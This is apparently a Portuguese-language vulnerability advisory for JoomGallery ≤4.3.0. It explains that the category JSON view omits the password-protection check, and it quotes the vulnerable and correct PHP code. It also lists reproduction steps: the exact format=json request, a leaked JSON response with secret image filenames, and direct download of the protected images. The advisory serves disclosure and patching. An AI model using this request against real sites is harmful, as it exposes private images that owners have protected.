
Contorno de Categoria Protegida por Senha via Formato JSON no JoomGallery
JoomGallery ≤ 4.3.0-stable — Atacante Não Autenticado Contorna o Portão de Senha para Baixar Imagens Protegidas
Existe um bypass de controle de acesso não autenticado na visualização JSON de categorias do JoomGallery. Quando uma categoria da galeria é protegida por senha, a visualização HTML aplica corretamente o portão de senha — mas a visualização JSON (format=json) ignora completamente essa verificação.
Um atacante remoto sem credenciais pode recuperar o título da categoria, a descrição e os nomes de arquivo aleatórios de todas as imagens protegidas e, em seguida, baixar essas imagens diretamente. O recurso de proteção por senha é contornado com uma única requisição HTTP.
O bypass é limitado a categorias cujo nível de acesso ACL do Joomla está definido como Público (access=1). Categorias restritas ao acesso Registrado ou Especial ainda são bloqueadas na camada de ACL em JsonView.php:69.
| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Tipo: Controle de Acesso Incorreto (CWE-284)
Autenticação necessária: Nenhuma — não autenticado, única requisição HTTP
Arquivo: site/com_joomgallery/src/View/Category/JsonView.php, linhas 76–96
O JoomGallery implementa a proteção por senha das categorias por meio de uma flag pw_protected. Essa verificação está presente em HtmlView.php, mas está totalmente ausente em JsonView.php:
HTMLVIEW.PHP — CORRETO (guarda presente)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — VULNERÁVEL (sem guarda)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
O parâmetro format=json do Joomla roteia a mesma URL para uma classe View separada. Cada View deve aplicar as verificações de acesso de forma independente — o framework não as propaga automaticamente. O desenvolvedor adicionou a guarda pw_protected ao HtmlView, mas a omitiu no JsonView.
A proteção por senha do JoomGallery baseia-se em manter os nomes de arquivo das imagens em segredo — os arquivos são armazenados como ativos estáticos em /images/joomgallery/originals/ e servidos diretamente pelo Apache, sem autenticação no lado do servidor. Os nomes de arquivo são aleatórios (ex.: secret-image-1_20260803_1951053711.jpg) e só são divulgados após passar pela verificação de senha na camada PHP/Joomla. O bypass via JSON quebra esse modelo ao divulgar os nomes de arquivo a solicitantes não autenticados, completando a cadeia de ataque até a recuperação total das imagens.
Configuração do laboratório:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Resultado: Formulário de senha renderizado. Nenhum conteúdo da categoria visível.

GET /index.php/gallery/categories/3-secret-gallery
Resultado: Acesso direto à imagem bloqueado no caminho de alias (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Resposta (HTTP 200, sem autenticação):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true confirma que a senha está definida. Apesar disso, a resposta completa, incluindo o nome de arquivo aleatório, é retornada a um solicitante não autenticado.

Usando o nome de arquivo obtido na Etapa 3
Resultado: HTTP 200 — arquivo de imagem retornado diretamente pelo Apache. Nenhuma autenticação necessária.

Qualquer categoria da galeria que o administrador tenha protegido com senha fica totalmente comprometida. O atacante precisa apenas do ID numérico da categoria, que é sequencial e trivialmente enumerável.